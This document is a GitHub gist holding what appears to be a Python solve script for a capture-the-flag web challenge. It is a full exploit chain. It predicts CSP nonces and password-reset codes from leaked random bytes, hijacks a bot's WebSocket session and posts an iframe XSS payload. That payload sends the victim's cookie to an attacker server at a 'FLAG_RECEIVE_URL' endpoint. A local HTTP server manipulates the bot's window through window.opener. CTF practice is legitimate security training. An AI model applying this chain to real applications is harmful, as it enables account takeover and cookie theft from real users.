Created
April 14, 2024 14:00
-
-
Save tyage/81aa9dba3e22821c27aaac38564f25ec to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from http.server import HTTPServer | |
from http.server import BaseHTTPRequestHandler | |
import requests | |
import sys | |
import re | |
import base64 | |
import websocket | |
import time | |
import threading | |
import json | |
# ARGV[1]: f6fabdd7-d4e8-4ebb-ac18-2090a49a272f.werechat.chal.pwni.ng | |
if len(sys.argv) > 1: | |
URL = 'https://{}'.format(sys.argv[1]) | |
URL_FROM_BOT = URL | |
REPORT_URL = 'https://bot-{}'.format(sys.argv[1]) | |
WS_URL = 'wss://{}'.format(sys.argv[1]) | |
SERVER_URL = 'http://XXXXXXXX:8000' | |
FLAG_RECEIVE_URL = 'http://XXXXXXXX:8000/flag' | |
else: | |
URL = 'http://192.168.1.2:3000' | |
URL_FROM_BOT = 'http://rec.l.tyage.net:3000' | |
REPORT_URL = 'http://192.168.1.2:3001' | |
WS_URL = 'ws://192.168.1.2:3000' | |
SERVER_URL = 'http://192.168.1.110:8000' | |
FLAG_RECEIVE_URL = 'http://192.168.1.110:8000/flag' | |
USERNAME = 'test' | |
PASSWORD = 'test' | |
SERVER_PORT = 8000 | |
# 観測した最後のseq | |
LAST_SEQ = 0 | |
INCREASE_TASK_FINISHED = False | |
RESET_SEQ = 0 | |
PRE_LOAD_NUM = 150 | |
NONCE = "" | |
def gen_final_payload(): | |
return """ | |
<iframe srcdoc=" | |
<script nonce='{}'> | |
top.location = '{}?flag=' + top.document.cookie | |
</script> | |
"></iframe> | |
""".format(NONCE, FLAG_RECEIVE_URL) | |
class CustomHTTPRequestHandler(BaseHTTPRequestHandler): | |
def do_GET(self): | |
self.send_response(200) | |
self.send_header('Content-type', 'text/html') | |
self.end_headers() | |
if self.path == '/': | |
# botからの初回アクセスので、bytes_buffer_indexを進める | |
threading.Thread(target=increase_bytes).start() | |
self.wfile.write((""" | |
<script> | |
const chatURL = '""" + URL_FROM_BOT + """/chat' | |
const windowChanger = URL.createObjectURL((new Blob([` | |
<script> | |
const check = async () => { | |
const result = (await (await fetch(location.origin + '/check')).text()) | |
return result === 'GO' | |
} | |
window.opener.location ='${chatURL}' | |
const timer = setInterval(async () => { | |
if (await check()) { | |
window.opener.location = location.origin + '/back' | |
clearInterval(timer) | |
} | |
}, 1000 * 3) | |
<\\/script> | |
`], { type: 'text/html' }))) | |
const win = window.open(windowChanger) | |
</script> | |
""").encode()) | |
elif self.path == '/back': | |
threading.Thread(target=try_websocket).start() | |
self.wfile.write(""" | |
<script> | |
history.back() | |
</script> | |
""".encode()) | |
elif self.path == '/check': | |
if INCREASE_TASK_FINISHED: | |
self.wfile.write("GO".encode()) | |
def extract_nonce(input_string): | |
match = re.search(r'nonce="(.*?)"', input_string) | |
if match: | |
return match.group(1) | |
else: | |
return None | |
def make_base64_id(rand: bytes, seq: int): | |
seq_bytes = bytes.fromhex('{:06x}'.format(seq)) | |
return base64.urlsafe_b64encode(rand + seq_bytes).decode('utf-8') | |
def make_nonce(num: int): | |
for i in range(0, num): | |
requests.get(URL) | |
def get_nonce(): | |
res = requests.get(URL) | |
nonce = extract_nonce(res.text) | |
return nonce | |
def send_password_reset(): | |
res = requests.post('{}/api/request-reset'.format(URL), json={ | |
'username': USERNAME | |
}) | |
def reset_password(code): | |
res = requests.post('{}/api/reset'.format(URL), json={ | |
'username': USERNAME, | |
'code': code, | |
'password': PASSWORD | |
}) | |
print(code) | |
print(res.text) | |
def parse_base64id(base64id): | |
randbytes = base64.urlsafe_b64decode(base64id) | |
rand = randbytes[:-3] | |
seq = int(randbytes[-3:].hex(), 16) | |
return (rand, seq) | |
def increase_bytes(): | |
global LAST_SEQ | |
global INCREASE_TASK_FINISHED | |
global NONCE | |
time.sleep(5) | |
# (PRE_LOAD_NUM + 8) * 12 から 12バイト がbotのnonceのseqになる | |
# nocneではなくパスワードリセットによって取得したい範囲 | |
start_nonce = (PRE_LOAD_NUM + 8) * 12 | |
end_nonce = (PRE_LOAD_NUM + 9) * 12 | |
start_password_reset = int(start_nonce / 9) | |
end_password_reset = int(end_nonce / 9) - 1 | |
bytes_buffer_index = -1 | |
last_seq = 0 | |
buff = b'\x00' * 4096 | |
# 289まではnonceを確認する。あとでパスワードリセット値としても利用できる | |
while bytes_buffer_index < 289: | |
# 一部例外 | |
next_seq = last_seq + 1 | |
if start_password_reset <= next_seq and next_seq <= end_password_reset: | |
send_password_reset() | |
print("input password reset code:") | |
code = input() | |
reset_password(code) | |
(rand, seq) = parse_base64id(code) | |
last_seq = last_seq + 1 | |
else: | |
base64id = get_nonce() | |
(rand, seq) = parse_base64id(base64id) | |
last_seq = seq | |
# bytes_buffer_index = seq - 2, リセット後はリセット時の値より先になるはず | |
bytes_buffer_index = seq - 2 - RESET_SEQ | |
start = bytes_buffer_index * len(rand) | |
end = start + len(rand) | |
buff = buff[:start] + rand + buff[end:] | |
# パスワードリセットでbytes_buffer_indexを342まで進める | |
while bytes_buffer_index < 342: | |
send_password_reset() | |
# predict reset code | |
bytes_buffer_index = bytes_buffer_index + 1 | |
start = bytes_buffer_index * 9 | |
end = start + 9 | |
rand = buff[start:end] | |
last_seq = last_seq + 1 | |
reset_code = make_base64_id(rand, last_seq) | |
reset_password(reset_code) | |
NONCE = base64.urlsafe_b64encode( | |
buff[(start_nonce-24):(end_nonce-24)] + | |
bytes.fromhex('{:06x}'.format(PRE_LOAD_NUM + 8)) | |
).decode('UTF-8') | |
print('nonce:', NONCE) | |
LAST_SEQ = bytes_buffer_index + 3 | |
INCREASE_TASK_FINISHED = True | |
def send_websocket(last_seq): | |
session = make_base64_id(b'\x00' * 12, last_seq) | |
url = '{}/api/ws?session={}'.format(WS_URL, session) | |
print(url) | |
sock = websocket.WebSocket() | |
sock.connect(url, header={ | |
'Cookie': COOKIE | |
}) | |
time.sleep(0.01) | |
sock.send('{"kind":"CreateRoom","name":"hogehogetarou7"}') | |
res = sock.recv() | |
if res != '': | |
room_id = json.loads(res)['data']['id'] | |
data = { | |
'kind': 'Message', | |
'room': room_id, | |
'content': gen_final_payload() | |
} | |
sock.send(json.dumps(data)) | |
sock.close(3000) | |
return True | |
else: | |
sock.close() | |
return False | |
# botのWebSocket sessionをbotより先に乗っ取る | |
def try_websocket(): | |
for i in range(1, 20): | |
success = send_websocket(LAST_SEQ) | |
if success: | |
break | |
time.sleep(0.2) | |
def get_cookie(): | |
# GET COOKIE | |
requests.post('{}/api/register'.format(URL), json={ | |
'inviteCode': "every_wolf_needs_a_pack", | |
'username': USERNAME, | |
'email': "[email protected]", | |
'password': PASSWORD | |
}) | |
res = requests.post('{}/api/login'.format(URL), json={ | |
'username': USERNAME, | |
'password': PASSWORD | |
}) | |
return res.headers['set-cookie'] | |
def submit_bot(): | |
requests.post('{}/visit'.format(REPORT_URL), json={ | |
'url': SERVER_URL | |
}) | |
if __name__ == '__main__': | |
COOKIE = get_cookie() | |
# botがtimeoutしないように先に済ませておく | |
print("make {} nonces...".format(PRE_LOAD_NUM)) | |
make_nonce(PRE_LOAD_NUM) | |
print("done.") | |
submit_bot() | |
server_address = ('0.0.0.0', SERVER_PORT) | |
httpd = HTTPServer(server_address, CustomHTTPRequestHandler) | |
httpd.serve_forever() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment